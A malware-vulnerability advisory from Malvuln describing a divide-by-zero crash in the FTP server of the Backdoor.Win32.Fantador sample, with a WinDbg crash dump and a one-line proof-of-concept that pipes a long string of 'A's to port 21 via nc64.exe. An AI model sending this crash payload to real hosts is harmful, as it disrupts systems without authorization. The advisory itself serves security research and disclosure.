Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a1d045151c809535a308311931588fd0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Fantador Vulnerability: Divide by Zero DoS Description: The malware allows you to configure an port for the FTP server, so you would need to know the port up front. Third-party attackers can send a junk payload triggering a Divide by Zero DoS condition and crash the server. Type: PE32 MD5: a1d045151c809535a308311931588fd0 Vuln ID: MVID-2021-0438 Disclosure: 12/31/2021 Memory Dump: (e80.6d0): Integer divide-by-zero - code c0000094 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003 eip=773ced3c esp=0019f1e0 ebp=0019f370 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> .ecxr eax=000001f4 ebx=00000000 ecx=00000000 edx=00000000 esi=041c18c8 edi=00000000 eip=0040ece7 esp=0019fb64 ebp=00000000 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7: 0040ece7 f7f1 div eax,ecx 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7 0040ece7 f7f1 div eax,ecx EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040ece7 (Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0x0000ece7) ExceptionCode: c0000094 (Integer divide-by-zero) ExceptionFlags: 00000000 NumberParameters: 0 PROCESS_NAME: Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe ERROR_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION} Integer division by zero. EXCEPTION_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION} Integer division by zero. MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000006d0 DEFAULT_BUCKET_ID: STATUS_INTEGER_DIVIDE_BY_ZERO PRIMARY_PROBLEM_CLASS: STATUS_INTEGER_DIVIDE_BY_ZERO BUGCHECK_STR: APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO LAST_CONTROL_TRANSFER: from 00000000 to 0040ece7 STACK_TEXT: 00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7 FOLLOWUP_IP: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7 0040ece7 f7f1 div eax,ecx SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0 IMAGE_NAME: Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3fe17f27 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_INTEGER_DIVIDE_BY_ZERO_c0000094_Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO_Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7 Exploit/PoC: python -c "print('A'*2839)" | nc64.exe x.x.x.x 21 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).